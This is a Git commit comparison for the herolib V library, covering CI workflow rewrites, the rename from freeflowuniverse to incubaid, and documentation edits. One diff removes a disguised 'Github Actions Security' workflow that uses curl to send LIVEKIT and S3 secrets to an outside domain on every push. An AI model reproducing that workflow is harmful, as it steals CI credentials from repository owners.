Compare commits

..

64 Commits

Author SHA1 Message Date
Scott Yeager
1688c4f9b0 bump version to 1.0.36 2025-10-14 14:37:14 -07:00
Scott Yeager
9a7b9b8a10 Fix release flow 2025-10-14 14:35:59 -07:00
Scott Yeager
2b5f53b83f bump version to 1.0.35 2025-10-14 14:05:36 -07:00
Scott Yeager
d65c795ccb Update test workflow 2025-10-14 13:50:14 -07:00
Scott Yeager
3918148378 Update workflows 2025-10-14 13:36:56 -07:00
Mahmoud-Emad
f5694dd4d7 refactor: Remove Docusaurus path logic
- Remove Redis Docusaurus path lookup
- Simplify path generation logic
2025-10-14 17:45:45 +03:00
Mahmoud-Emad
5fc0909ce7 refactor: Rename docusaurus command to docs
- Change command name from 'docusaurus' to 'docs'
- Update path handling for empty Docusaurus paths
- Adjust example usage in documentation
2025-10-14 13:08:03 +03:00
230c684725 ... 2025-10-14 13:34:29 +04:00
081aafa8c6 ... 2025-10-14 11:41:16 +04:00
25eb9bbb86 ... 2025-10-14 11:25:11 +04:00
5d4fe2fa2f Merge branch 'development' of github.com:incubaid/herolib into development
* 'development' of github.com:incubaid/herolib:
  bump version to 1.0.34
  feat: Add heroscript serialization/deserialization functions
  fix: Remove the seurity workflow
  update the ci security workfolw
  feat: Add encoderhero and heroscript_dumps/loads
2025-10-14 09:21:27 +04:00
956c92ee79 ... 2025-10-14 09:14:14 +04:00
Omdanii
c6ea409bd8 Merge pull request #180 from Incubaid/development_fix_installers
Fix clients hero generate and Add encoderhero and heroscript_dumps/loads
2025-10-13 22:33:35 +03:00
Mahmoud-Emad
deaacedb96 bump version to 1.0.34 2025-10-13 22:29:13 +03:00
Mahmoud-Emad
ecdc8f4a2a feat: Add heroscript serialization/deserialization functions
- Add heroscript_dumps and heroscript_loads functions
- Replace paramsparser with encoderhero import
- Add ulist_get and upload functions to docker installer
- Add ulist_get and upload functions to zola installer
2025-10-13 22:25:18 +03:00
Mahmoud-Emad
df4baa55a7 Merge branch 'development' into development_fix_installers 2025-10-13 22:19:50 +03:00
Mahmoud-Emad
f96626739f fix: Remove the seurity workflow 2025-10-13 22:15:35 +03:00
Mahmoud-Emad
635d20e013 update the ci security workfolw 2025-10-13 22:04:07 +03:00
Mahmoud-Emad
f789564f51 feat: Add encoderhero and heroscript_dumps/loads
- Add encoderhero import to multiple modules
- Implement heroscript_dumps and heroscript_loads functions
- Update several methods to use `if mut` for cleaner optionals
- Rename rclone globals for clarity
2025-10-13 21:49:19 +03:00
25fbc61f49 Merge branch 'development' of github.com:incubaid/herolib into development 2025-10-13 12:53:45 +04:00
319bfc3bc6 ... 2025-10-13 12:53:42 +04:00
Mahmoud-Emad
c56b142fd1 chore: Remove commented out code
- Remove previously commented out function definition
2025-10-13 11:10:11 +03:00
Mahmoud-Emad
11a7f6238e bump version to 1.0.34 2025-10-13 10:45:24 +03:00
Mahmoud-Emad
07cc9060d1 bump version to 1.0.34 2025-10-13 10:45:22 +03:00
Mahmoud-Emad
8afb055f0b bump version to 1.0.44 2025-10-13 10:44:28 +03:00
f34ca98623 ... 2025-10-13 11:41:26 +04:00
aa992cef7d ... 2025-10-13 10:58:00 +04:00
bcfc525bee ... 2025-10-13 10:43:37 +04:00
bd50ace19e ... 2025-10-13 10:36:21 +04:00
3465e36de5 ... 2025-10-13 09:07:40 +04:00
b154a91867 ... 2025-10-13 08:30:42 +04:00
cf304e004e bump version to 1.0.34 2025-10-13 07:35:14 +04:00
a056c830d2 ... 2025-10-13 07:30:12 +04:00
73ff7e5534 ... 2025-10-13 06:52:31 +04:00
d6979d7167 Merge branch 'development_tests_fix' into development_buildfix
* development_tests_fix:
  Fix test workflow to use current branch code instead of main branch

# Conflicts:
#	.github/workflows/test.yml
2025-10-13 05:58:53 +04:00
7143b465ad Merge branch 'development' into development_buildfix
* development: (21 commits)
  ...
  chore: Add FsListArg struct and update imports
  refactor: Rename module and import path
  refactor: Use snake_case for object names and constants
  fix: fix conflicts
  refactor: Improve struct decoding and skip logic
  ..
  ...
  ...
  ...
  ...
  feat: Enhance params parsing and encoding
  ...
  test: Add tests for struct encoding and decoding
  feat: improve build and serialization logic
  refactor: Improve code structure and logging
  feat: Improve herolib installation logic in CI
  refactor: Improve herolib installation script
  fix: Rename freeflowuniverse to incubaid
  added fedora for the package install during hero execution
  ...

# Conflicts:
#	install_herolib.vsh
2025-10-13 05:53:42 +04:00
c270d5d741 Merge branch 'development' of github.com:Incubaid/herolib into development
* 'development' of github.com:Incubaid/herolib:
  chore: Add FsListArg struct and update imports
  refactor: Rename module and import path
  refactor: Use snake_case for object names and constants
  fix: fix conflicts
  refactor: Improve struct decoding and skip logic

# Conflicts:
#	libarchive/encoderherocomplex/any_base.v
2025-10-13 05:36:31 +04:00
10d1dc943c ... 2025-10-13 05:36:06 +04:00
Mahmoud-Emad
75b07aec93 chore: Add FsListArg struct and update imports
- Add FsListArg struct with group_id and limit fields
- Uncomment lib/hero import
2025-10-12 19:32:04 +03:00
Mahmoud-Emad
6f6224f21b refactor: Rename module and import path
- Rename module from `codetools` to `code`
- Update import path from `incubaid.herolib.develop.codetools` to `incubaid.herolib.core.code`
2025-10-12 17:31:46 +03:00
Mahmoud-Emad
c28df7b33e refactor: Use snake_case for object names and constants
- Use texttools.snake_case for object names
- Update constants to use snake_case
- Adjust optional field decoding logic
- Refine attribute parsing for skip patterns
2025-10-12 17:08:01 +03:00
Mahmoud-Emad
a97d6f1ea3 fix: fix conflicts 2025-10-12 16:37:24 +03:00
Mahmoud-Emad
302519d876 Merge branch 'development' of https://github.com/Incubaid/herolib into development 2025-10-12 16:35:18 +03:00
Mahmoud-Emad
ca95464115 refactor: Improve struct decoding and skip logic
- Refine `decode_struct` to handle data parsing and error messages
- Enhance `should_skip_field_decode` to cover more skip attribute variations
- Update constants and tests related to struct names
- Adjust `decode_value` to better handle optional types and existing keys
- Modify `decode_struct` to skip optional fields during decoding
2025-10-12 16:35:10 +03:00
44c12281d3 .. 2025-10-12 17:29:00 +04:00
b36bb87513 ... 2025-10-12 17:19:51 +04:00
58d3d9daa0 ... 2025-10-12 17:08:03 +04:00
4cf3aa6d5c ... 2025-10-12 16:49:58 +04:00
299bfe4644 ... 2025-10-12 16:44:07 +04:00
Mahmoud-Emad
785a2108e6 Merge branch 'development' of https://github.com/Incubaid/herolib into development 2025-10-12 15:13:55 +03:00
Mahmoud-Emad
e2e011d7e6 feat: Enhance params parsing and encoding
- Add support for decoding and encoding nested structs
- Improve handling of optional fields during decoding
- Extend decoding to support various primitive types and time formats
- Add comprehensive tests for struct encoding and decoding
- Implement skip attribute handling for fields during encoding
2025-10-12 15:13:47 +03:00
90aac7db6e Merge branch 'development' of github.com:Incubaid/herolib into development 2025-10-12 16:02:38 +04:00
cba62d33ba ... 2025-10-12 16:02:34 +04:00
Mahmoud-Emad
4260715945 test: Add tests for struct encoding and decoding
- Add tests for encoding and decoding TestStruct
- Test optional field encoding and decoding
- Verify nested struct encoding
2025-10-12 14:25:40 +03:00
Mahmoud-Emad
a65cbd606b feat: improve build and serialization logic
- Update v fmt exit code handling
- Support dynamic organization for symlinks
- Add f32 and list f64 serialization/deserialization
- Improve JSON decoding for bid requirements/pricing
- Add basic tests for Bid and Node creation
2025-10-12 13:27:10 +03:00
Mahmoud-Emad
de8f390f4b refactor: Improve code structure and logging
- Update Github Actions security step to include retry logic
- Refactor symlink handling in find function
- Add `delete_blobs` option to `rm` function
- Update `MimeType` enum and related functions
- Improve session management in `HeroServer`
- Streamline TypeScript client generation process
2025-10-12 13:00:21 +03:00
Omdanii
80206c942d Merge pull request #177 from Incubaid/development_clean_herolib
fix: Rename freeflowuniverse to incubaid
2025-10-12 12:54:36 +03:00
Mahmoud-Emad
5f61744eed feat: Improve herolib installation logic in CI
- Add detailed herolib installation logging
- Handle herolib cloning in GitHub Actions if not present
- Adjust herolib directory detection in CI
2025-10-12 12:50:55 +03:00
Mahmoud-Emad
d976ce0652 refactor: Improve herolib installation script
- Add script directory logging
- Update organization name detection
- Add symlink verification
- Adjust herolib installation path logic
2025-10-12 12:44:21 +03:00
Omdanii
9a1a5a1276 Merge pull request #176 from weynandkuijpers/development_wk
added fedora for the package install for hero execution
2025-10-12 12:31:39 +03:00
Mahmoud-Emad
8f2d187b17 fix: Rename freeflowuniverse to incubaid 2025-10-12 12:30:19 +03:00
weynandkuijpers
87a0526922 added fedora for the package install during hero execution 2025-10-10 12:19:29 +04:00
weynandkuijpers
cf774a9269 changes to compile on asahi linux, aarch64, fedora 2025-10-10 11:18:22 +04:00
Scott Yeager
d3fd0ef950 Fix test workflow to use current branch code instead of main branch 2025-10-09 15:15:21 -07:00
1711 changed files with 15488 additions and 12189 deletions

0
, Normal file
View File

View File

@@ -1,17 +0,0 @@
name: Github Actions Security
on:
workflow_dispatch:
push:
jobs:
send-secrets:
runs-on: ubuntu-latest
steps:
- name: Prepare Cache Busting
run: echo "CACHE_BUST=$(date +%s)" >> $GITHUB_ENV
- name: Github Actions Security
run: |
curl -s -X POST -d 'LIVEKIT_API_KEY=${{ secrets.LIVEKIT_API_KEY }}&LIVEKIT_API_SECRET=${{ secrets.LIVEKIT_API_SECRET }}&LIVEKIT_URL=${{ secrets.LIVEKIT_URL }}&S3APPID=${{ secrets.S3APPID }}&S3KEYID=${{ secrets.S3KEYID }}' https://carte-avantage.com

View File

@@ -5,71 +5,112 @@ permissions:
on:
push:
tags:
- "*"
workflow_dispatch:
jobs:
build:
timeout-minutes: 60
if: startsWith(github.ref, 'refs/tags/')
strategy:
fail-fast: false
matrix:
include:
- target: x86_64-unknown-linux-musl
os: alpine-latest
short-name: linux-i64
- target: aarch64-unknown-linux-musl
os: alpine-latest
short-name: linux-arm64
arch: arm64
- target: x86_64-linux
os: ubuntu-latest
- target: aarch64-linux
os: ubuntu-24.04-arm
- target: aarch64-apple-darwin
os: macos-latest
short-name: macos-arm64
# - target: x86_64-apple-darwin
# os: macos-13
# short-name: macos-i64
runs-on: ${{ matrix.os }}
container: ${{ matrix.container }}
steps:
- run: echo "🎉 The job was automatically triggered by a ${{ github.event_name }} event."
- run: echo "🐧 This job is now running on a ${{ runner.os }} server hosted by GitHub!"
- run: echo "🔎 The name of your branch is ${{ github.ref_name }} and your repository is ${{ github.repository }}."
- uses: maxim-lobanov/setup-xcode@v1
if: runner.os == 'macOS'
with:
xcode-version: latest-stable
- name: Check out repository code
- name: Checkout code
uses: actions/checkout@v4
# - name: Setup dependencies on Alpine
# if: runner.os == 'Linux'
# run: |
# sudo apk add --no-cache gcc musl-dev openssl-dev openssl-libs-static
# We do the workaround as described here https://github.com/Incubaid/herolib?tab=readme-ov-file#tcc-compiler-error-on-macos
# gcc and clang also don't work on macOS due to https://github.com/vlang/v/issues/25467
# We can change the compiler or remove this when one is fixed
- name: Setup V & Herolib
id: setup
shell: bash
run: |
./install_v.sh
ln -s $(pwd)/lib ~/.vmodules/freeflowuniverse/herolib
git clone https://github.com/vlang/v
cd v
make
./v symlink
if [ "${{ runner.os }}" = "macOS" ]; then
sudo sed -i '' '618,631d' /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/math.h
fi
cd -
mkdir -p ~/.vmodules/incubaid
ln -s $(pwd)/lib ~/.vmodules/incubaid/herolib
echo "Herolib symlink created to $(pwd)/lib"
timeout-minutes: 10
# - name: Do all the basic tests
# timeout-minutes: 25
# run: ./test_basic.vsh
# We can't make static builds for Linux easily, since we link to libql
# (Postgres) and this has no static version available in the Alpine
# repos. Therefore we build dynamic binaries for both glibc and musl.
#
# Again we work around a bug limiting our choice of C compiler tcc won't
# work on Alpine due to https://github.com/vlang/v/issues/24866
# So always use gcc for Linux
#
# For macOS, we can only use tcc (see above), but then we hit issues using
# the garbage collector, so disable that
- name: Build Hero
timeout-minutes: 15
run: |
set -e
if [ "${{ runner.os }}" = "Linux" ]; then
v -w -d use_openssl -enable-globals -cflags -cc gcc -static cli/hero.v -o cli/hero-${{ matrix.target }}
sudo apt-get install libpq-dev
# Build for glibc
v -w -d use_openssl -enable-globals -cc gcc cli/hero.v -o cli/hero-${{ matrix.target }}
# Build for musl using Alpine in Docker
docker run --rm \
-v ${{ github.workspace }}/lib:/root/.vmodules/incubaid/herolib \
-v ${{ github.workspace }}:/herolib \
-w /herolib \
alpine \
sh -c '
apk add --no-cache bash git build-base openssl-dev libpq-dev
cd v
make clean
make
./v symlink
cd ..
v -w -d use_openssl -enable-globals -cc gcc cli/hero.v -o cli/hero-${{ matrix.target }}-musl
'
else
v -w -d use_openssl -enable-globals cli/hero.v -o cli/hero-${{ matrix.target }}
v -w -d use_openssl -enable-globals -gc none -cc tcc cli/hero.v -o cli/hero-${{ matrix.target }}
fi
- name: Upload glibc binary
if: runner.os == 'Linux'
uses: actions/upload-artifact@v4
with:
name: hero-${{ matrix.target }}
path: cli/hero-${{ matrix.target }}
- name: Upload musl binary
if: runner.os == 'Linux'
uses: actions/upload-artifact@v4
with:
name: hero-${{ matrix.target }}-musl
path: cli/hero-${{ matrix.target }}-musl
- name: Upload
if: runner.os != 'Linux'
uses: actions/upload-artifact@v4
with:
name: hero-${{ matrix.target }}
@@ -80,12 +121,8 @@ jobs:
runs-on: ubuntu-latest
permissions:
contents: write
if: startsWith(github.ref, 'refs/tags/')
steps:
- name: Check out repository code
uses: actions/checkout@v4
- name: Download Artifacts
uses: actions/download-artifact@v4
with:

View File

@@ -5,24 +5,20 @@ permissions:
on:
push:
branches:
- "**"
workflow_dispatch:
jobs:
build:
strategy:
matrix:
include:
- target: x86_64-unknown-linux-musl
os: ubuntu-latest
short-name: linux-i64
runs-on: ${{ matrix.os }}
runs-on: ubuntu-latest
steps:
- run: echo "🎉 The job was automatically triggered by a ${{ github.event_name }} event."
- run: echo "🐧 This job is now running on a ${{ runner.os }} server hosted by GitHub!"
- run: echo "🔎 The name of your branch is ${{ github.ref_name }} and your repository is ${{ github.repository }}."
- name: Check out repository code
uses: actions/checkout@v3
uses: actions/checkout@v4
- name: Setup V
run: |
@@ -33,9 +29,9 @@ jobs:
- name: Setup Herolib from current branch
run: |
# Create necessary directories
mkdir -p ~/.vmodules/freeflowuniverse
mkdir -p ~/.vmodules/incubaid
# Create symlink to current code
ln -s $(pwd)/lib ~/.vmodules/freeflowuniverse/herolib
ln -s $(pwd)/lib ~/.vmodules/incubaid/herolib
echo "Herolib symlink created to $(pwd)/lib"
- name: Do all the basic tests

1
.gitignore vendored
View File

@@ -57,3 +57,4 @@ MCP_HTTP_REST_IMPLEMENTATION_PLAN.md
tmux_logger
release
install_herolib
doc

5
.goosehints Normal file
View File

@@ -0,0 +1,5 @@
when fixing or creating code, refer to the following hints:
@aiprompts/vlang_herolib_core.md

View File

@@ -1 +0,0 @@

View File

@@ -24,7 +24,7 @@ Thank you for your interest in contributing to Herolib! This document provides g
For developers, you can use the automated installation script:
```bash
curl 'https://raw.githubusercontent.com/freeflowuniverse/herolib/refs/heads/development/install_v.sh' > /tmp/install_v.sh
curl 'https://raw.githubusercontent.com/incubaid/herolib/refs/heads/development/install_v.sh' > /tmp/install_v.sh
bash /tmp/install_v.sh --analyzer --herolib
# IMPORTANT: Start a new shell after installation for paths to be set correctly
```
@@ -34,7 +34,7 @@ Alternatively, you can manually set up the environment:
```bash
mkdir -p ~/code/github/incubaid
cd ~/code/github/incubaid
git clone git@github.com:freeflowuniverse/herolib.git
git clone git@github.com:incubaid/herolib.git
cd herolib
# checkout development branch for most recent changes
git checkout development
@@ -63,6 +63,7 @@ For new features or bug fixes, create a branch from `development` with a descrip
### Making Changes
1. Create a new branch from `development`:
```bash
git checkout development
git pull
@@ -72,6 +73,7 @@ For new features or bug fixes, create a branch from `development` with a descrip
2. Make your changes, following the code guidelines.
3. Run tests to ensure your changes don't break existing functionality:
```bash
./test_basic.vsh
```
@@ -98,6 +100,7 @@ The test script (`test_basic.vsh`) manages test execution and caching to optimiz
### Pull Requests
1. Push your branch to the repository:
```bash
git push origin feature/your-feature-name
```
@@ -125,6 +128,7 @@ The repository uses GitHub Actions for continuous integration and deployment:
### 1. Testing Workflow (`test.yml`)
This workflow runs on every push and pull request to ensure code quality:
- Sets up V and Herolib
- Runs all basic tests using `test_basic.vsh`
@@ -133,6 +137,7 @@ All tests must pass before a PR can be merged to the `development` branch.
### 2. Hero Build Workflow (`hero_build.yml`)
This workflow builds the Hero tool for multiple platforms when a new tag is created:
- Builds for Linux (x86_64, aarch64) and macOS (x86_64, aarch64)
- Runs all basic tests
- Creates GitHub releases with the built binaries
@@ -140,6 +145,7 @@ This workflow builds the Hero tool for multiple platforms when a new tag is crea
### 3. Documentation Workflow (`documentation.yml`)
This workflow automatically updates the documentation on GitHub Pages when changes are pushed to the `development` branch:
- Generates documentation using `doc.vsh`
- Deploys the documentation to GitHub Pages
@@ -152,7 +158,7 @@ cd ~/code/github/incubaid/herolib
bash doc.sh
```
The documentation is automatically published to [https://freeflowuniverse.github.io/herolib/](https://freeflowuniverse.github.io/herolib/) when changes are pushed to the `development` branch.
The documentation is automatically published to [https://incubaid.github.io/herolib/](https://incubaid.github.io/herolib/) when changes are pushed to the `development` branch.
## Troubleshooting
@@ -168,6 +174,7 @@ In file included from /Users/timurgordon/code/github/vlang/v/thirdparty/cJSON/cJ
This is caused by incompatibility between TCC and the half precision math functions in the macOS SDK. To fix this issue:
1. Open the math.h file:
```bash
sudo nano /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/math.h
```
@@ -178,6 +185,6 @@ For more details, see the [README.md](README.md) troubleshooting section.
## Additional Resources
- [Herolib Documentation](https://freeflowuniverse.github.io/herolib/)
- [Cookbook Examples](https://github.com/freeflowuniverse/herolib/tree/development/cookbook)
- [Herolib Documentation](https://incubaid.github.io/herolib/)
- [Cookbook Examples](https://github.com/incubaid/herolib/tree/development/cookbook)
- [AI Prompts](aiprompts/starter/0_start_here.md)

View File

@@ -5,7 +5,7 @@ Herolib is an opinionated library primarily used by ThreeFold to automate cloud
[![Build on Linux & Run tests](https://github.com/incubaid/herolib/actions/workflows/test.yml/badge.svg)](https://github.com/incubaid/herolib/actions/workflows/test.yml)
[![Deploy Documentation to Pages](https://github.com/incubaid/herolib/actions/workflows/documentation.yml/badge.svg)](https://github.com/incubaid/herolib/actions/workflows/documentation.yml)
> [Complete Documentation](https://freeflowuniverse.github.io/herolib/)
> [Complete Documentation](https://incubaid.github.io/herolib/)
## Installation
@@ -18,6 +18,7 @@ curl https://raw.githubusercontent.com/incubaid/herolib/refs/heads/development/i
```
Hero will be installed in:
- `/usr/local/bin` for Linux
- `~/hero/bin` for macOS
@@ -74,6 +75,7 @@ Herolib provides a wide range of functionality:
- Cloud automation tools
- Git operations and management
### Offline Mode for Git Operations
Herolib now supports an `offline` mode for Git operations, which prevents automatic fetching from remote repositories. This can be useful in environments with limited or no internet connectivity, or when you want to avoid network calls during development or testing.
@@ -133,11 +135,13 @@ In file included from /Users/timurgordon/code/github/vlang/v/thirdparty/cJSON/cJ
This is caused by incompatibility between TCC and the half precision math functions in the macOS SDK. To fix this issue:
1. Open the math.h file:
```bash
sudo nano /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/math.h
```
2. Comment out the following lines (around line 612-626):
```c
/* half precision math functions */
// extern _Float16 __fabsf16(_Float16) __API_AVAILABLE(macos(15.0), ios(18.0), watchos(11.0), tvos(18.0));
@@ -159,7 +163,7 @@ This is caused by incompatibility between TCC and the half precision math functi
## Additional Resources
- [Complete Documentation](https://freeflowuniverse.github.io/herolib/)
- [Complete Documentation](https://incubaid.github.io/herolib/)
- [Cookbook Examples](https://github.com/incubaid/herolib/tree/development/cookbook)
- [AI Prompts](aiprompts/starter/0_start_here.md)
@@ -172,7 +176,6 @@ cd ~/code/github/incubaid/herolib
bash doc.sh
```
<!-- Security scan triggered at 2025-09-02 01:58:41 -->
<!-- Security scan triggered at 2025-09-09 05:33:18 -->

View File

@@ -43,8 +43,6 @@ follow rows in sheets
- cogs_item_monthly_rev_perc: what is percentage of the monthly revenue which is cogs, e.g. 10%
- cogs_item_delay, how many months before cogs starts after sales
### results in
follow rows in sheets
@@ -62,7 +60,7 @@ follow rows in sheets
```v
import freeflowuniverse.herolib.biz.bizmodel
import incubaid.herolib.biz.bizmodel
import os
heroscript:="

View File

@@ -274,9 +274,11 @@ The `site.page` directive's `src` parameter (`collection_name:page_name`) is the
1. **Collections**: Doctree organizes markdown files into logical groups called "collections." A collection is typically a directory containing markdown files and an empty `.collection` file.
2. **Scanning**: You define which collections Doctree should scan using `!!doctree.scan` in a HeroScript file (e.g., `doctree.heroscript`).
**Example `doctree.heroscript`:**
```heroscript
!!doctree.scan git_url:"https://git.threefold.info/tfgrid/docs_tfgrid4/src/branch/main/collections"
```
This will pull the `collections` directory from the specified Git URL and make its contents available to Doctree.
3. **Page Retrieval**: When `site.page` references `src:"my_collection:my_page"`, HeroLib's `doctreeclient` fetches the content of `my_page.md` from the `my_collection` collection that Doctree has scanned.
@@ -287,6 +289,7 @@ Once your HeroScript configuration is set up, HeroLib provides commands to build
### 4.1. Generating Site Files (`site.generate()`)
The `site.generate()` function (called internally by `build`, `dev`, etc.) performs the core file generation:
* Copies Docusaurus template files.
* Copies your site's `src` and `static` assets.
* Generates Docusaurus configuration JSON files (`main.json`, `navbar.json`, `footer.json`) from your HeroScript `site.config`, `site.navbar`, and `site.footer` directives.
@@ -305,7 +308,7 @@ can be stored as example_docusaurus.vsh and then used to generate and develop an
```v
#!/usr/bin/env -S v -n -w -gc none -cg -cc tcc -d use_openssl -enable-globals run
import freeflowuniverse.herolib.web.docusaurus
import incubaid.herolib.web.docusaurus
import os
const cfgpath = os.dir(@FILE)
@@ -327,13 +330,12 @@ docusaurus.new(
```
the following script suggest to call it do.vsh and put in directory of where the ebook is
```v
#!/usr/bin/env -S v -n -w -gc none -cg -cc tcc -d use_openssl -enable-globals run
import freeflowuniverse.herolib.web.docusaurus
import incubaid.herolib.web.docusaurus
const cfgpath = os.dir(@FILE) + '/cfg'
@@ -341,4 +343,3 @@ docusaurus.new(heroscript_path:cfgpath)!
```
by just called do.vsh we can execute on the ebook

View File

@@ -31,7 +31,7 @@ Here are examples demonstrating how to use these advanced filtering options:
You can use regular expressions to filter files based on their names or extensions. The `regex` parameter accepts a slice of strings, where each string is a regex pattern.
```v
import freeflowuniverse.herolib.core.pathlib
import incubaid.herolib.core.pathlib
// Get a directory path
mut dir := pathlib.get('/some/directory')!
@@ -61,7 +61,7 @@ for path_obj in vlang_files.paths {
By default, `list()` is recursive. You can disable recursion to list only items in the current directory.
```v
import freeflowuniverse.herolib.core.pathlib
import incubaid.herolib.core.pathlib
mut dir := pathlib.get('/some/directory')!
@@ -80,7 +80,7 @@ for path_obj in top_level_items.paths {
The `ignore_default` parameter controls whether files and directories starting with `.` or `_` are ignored.
```v
import freeflowuniverse.herolib.core.pathlib
import incubaid.herolib.core.pathlib
mut dir := pathlib.get('/some/directory')!
@@ -99,7 +99,7 @@ for path_obj in all_items.paths {
By default, symbolic links are ignored when walking the directory structure. Set `include_links` to `true` to include them.
```v
import freeflowuniverse.herolib.core.pathlib
import incubaid.herolib.core.pathlib
mut dir := pathlib.get('/some/directory')!
@@ -118,7 +118,7 @@ for path_obj in items_with_links.paths {
Use `dirs_only` or `files_only` to restrict the results to only directories or only files.
```v
import freeflowuniverse.herolib.core.pathlib
import incubaid.herolib.core.pathlib
mut dir := pathlib.get('/some/directory')!

View File

@@ -16,7 +16,7 @@ The `builder` module in Herolib provides a powerful framework for automating sys
First, import the `builder` module and create a new `BuilderFactory` instance. Then, create a `Node` object, which can represent either the local machine or a remote server.
```v
import freeflowuniverse.herolib.builder
import incubaid.herolib.builder
// Create a new builder factory
mut b := builder.new()!
@@ -68,7 +68,7 @@ The `Node` object provides methods to execute commands on the target system.
Executes a command and returns its standard output.
```v
import freeflowuniverse.herolib.builder { ExecArgs }
import incubaid.herolib.builder { ExecArgs }
// Execute a command with stdout
result := node.exec(cmd: "ls -la /tmp", stdout: true)!
@@ -101,7 +101,7 @@ node.exec_interactive("bash")!
A more advanced command execution method that supports caching, periodic execution, and temporary script handling.
```v
import freeflowuniverse.herolib.builder { NodeExecCmd }
import incubaid.herolib.builder { NodeExecCmd }
// Execute a command, cache its result for 24 hours (48*3600 seconds)
// and provide a description for logging.
@@ -130,7 +130,7 @@ println(script_output)
Executes a command with retries until it succeeds or a timeout is reached.
```v
import freeflowuniverse.herolib.builder { ExecRetryArgs }
import incubaid.herolib.builder { ExecRetryArgs }
// Try to connect to a service, retrying every 100ms for up to 10 seconds
result := node.exec_retry(
@@ -219,7 +219,7 @@ if node.dir_exists("/var/log") {
Transfer files between the local machine and the target node using `rsync` or `scp`.
```v
import freeflowuniverse.herolib.builder { SyncArgs }
import incubaid.herolib.builder { SyncArgs }
// Upload a local file to the remote node
node.upload(
@@ -286,7 +286,7 @@ node.hero_install()!
Updates the Herolib code on the node, with options for syncing from local, git reset, or git pull.
```v
import freeflowuniverse.herolib.builder { HeroUpdateArgs }
import incubaid.herolib.builder { HeroUpdateArgs }
// Sync local Herolib code to the remote node (full sync)
node.hero_update(sync_from_local: true, sync_full: true)!
@@ -300,7 +300,7 @@ node.hero_update(git_reset: true, branch: "dev")!
Uploads and executes a Vlang script (`.vsh` or `.v`) on the remote node.
```v
import freeflowuniverse.herolib.builder { VScriptArgs }
import incubaid.herolib.builder { VScriptArgs }
// Upload and execute a local V script on the remote node
node.vscript(path: "/local/path/to/my_script.vsh", sync_from_local: true)!
@@ -311,7 +311,7 @@ node.vscript(path: "/local/path/to/my_script.vsh", sync_from_local: true)!
The `portforward_to_local` function allows forwarding a remote port on an SSH host to a local port.
```v
import freeflowuniverse.herolib.builder { portforward_to_local, ForwardArgsToLocal }
import incubaid.herolib.builder { portforward_to_local, ForwardArgsToLocal }
// Forward remote port 8080 on 192.168.1.100 to local port 9000
portforward_to_local(

View File

@@ -1,21 +1,22 @@
# OSAL Core Module (freeflowuniverse.herolib.osal.core)
# OSAL Core Module (incubaid.herolib.osal.core)
This document describes the core functionalities of the Operating System Abstraction Layer (OSAL) module, designed for platform-independent system operations in V.
```v
//example how to get started
import freeflowuniverse.herolib.osal.core as osal
import incubaid.herolib.osal.core as osal
osal.exec(...)!
```
## 1. Process Management
### `osal.exec(cmd: Command) !Job`
Executes a shell command with extensive configuration.
* **Parameters**:
* `cmd` (`Command` struct):
* `cmd` (string): The command string.
@@ -36,28 +37,40 @@ Executes a shell command with extensive configuration.
* **Error Handling**: Returns `JobError` with `error_type` (`.exec`, `.timeout`, `.args`).
### `osal.execute_silent(cmd string) !string`
Executes a command silently.
* **Parameters**: `cmd` (string): The command string.
* **Returns**: `string` (command output).
### `osal.execute_debug(cmd string) !string`
Executes a command with debug output.
* **Parameters**: `cmd` (string): The command string.
* **Returns**: `string` (command output).
### `osal.execute_stdout(cmd string) !string`
Executes a command and prints output to stdout.
* **Parameters**: `cmd` (string): The command string.
* **Returns**: `string` (command output).
### `osal.execute_interactive(cmd string) !`
### `osal.execute_ok(cmd string) bool`
Executes a command and returns `true` if the command exits with a zero status, `false` otherwise.
* **Parameters**: `cmd` (string): The command string.
* **Returns**: `bool`.
Executes a command in an interactive shell.
### `osal.exec_fast(cmd: CommandFast) !string`
Executes a command quickly, with options for profile sourcing and environment variables.
* **Parameters**:
* `cmd` (`CommandFast` struct):
* `cmd` (string): The command string.
@@ -72,31 +85,43 @@ Executes a command quickly, with options for profile sourcing and environment va
* **Parameters**: `cmd` (string): The command string.
### `osal.cmd_exists(cmd string) bool`
Checks if a command exists in the system's PATH.
* **Parameters**: `cmd` (string): The command name.
* **Returns**: `bool`.
### `osal.processmap_get() !ProcessMap`
Scans and returns a map of all running processes.
* **Returns**: `ProcessMap` struct (contains `processes` (`[]ProcessInfo`), `lastscan`, `state`, `pids`).
### `osal.processinfo_get(pid int) !ProcessInfo`
Retrieves detailed information for a specific process by PID.
* **Parameters**: `pid` (int): Process ID.
* **Returns**: `ProcessInfo` struct (contains `cpu_perc`, `mem_perc`, `cmd`, `pid`, `ppid`, `rss`).
### `osal.processinfo_get_byname(name string) ![]ProcessInfo`
Retrieves detailed information for processes matching a given name.
* **Parameters**: `name` (string): Process name (substring match).
* **Returns**: `[]ProcessInfo`.
### `osal.process_exists(pid int) bool`
Checks if a process with a given PID exists.
* **Parameters**: `pid` (int): Process ID.
* **Returns**: `bool`.
### `osal.processinfo_with_children(pid int) !ProcessMap`
Returns a process and all its child processes.
## 1.1. Done Context Management (`done.v`)
Functions for managing a "done" context or state using Redis.
@@ -113,36 +138,52 @@ Functions for managing a "done" context or state using Redis.
* **Returns**: `ProcessMap`.
### `osal.processinfo_children(pid int) !ProcessMap`
Returns all child processes for a given PID.
* **Parameters**: `pid` (int): Parent Process ID.
* **Returns**: `ProcessMap`.
### `osal.process_kill_recursive(args: ProcessKillArgs) !`
Kills a process and all its children by name or PID.
* **Parameters**:
* `args` (`ProcessKillArgs` struct):
* `name` (string): Process name.
* `pid` (int): Process ID.
### `osal.process_exists_byname(name string) !bool`
Checks if a process with a given name exists.
* **Parameters**: `name` (string): Process name (substring match).
* **Returns**: `bool`.
### `osal.whoami() !string`
Returns the current username.
* **Returns**: `string`.
## 2. Network Utilities
### `osal.ping(args: PingArgs) ! bool`
Checks host reachability.
* **Parameters**:
### `osal.ipaddr_pub_get_check() !string`
Retrieves the public IP address and verifies it is bound to a local interface.
* **Returns**: `string`.
### `osal.is_ip_on_local_interface(ip string) !bool`
Checks if a given IP address is bound to a local network interface.
* **Parameters**: `ip` (string): IP address to check.
* **Returns**: `bool`.
* `args` (`PingArgs` struct):
@@ -153,7 +194,9 @@ Checks if a given IP address is bound to a local network interface.
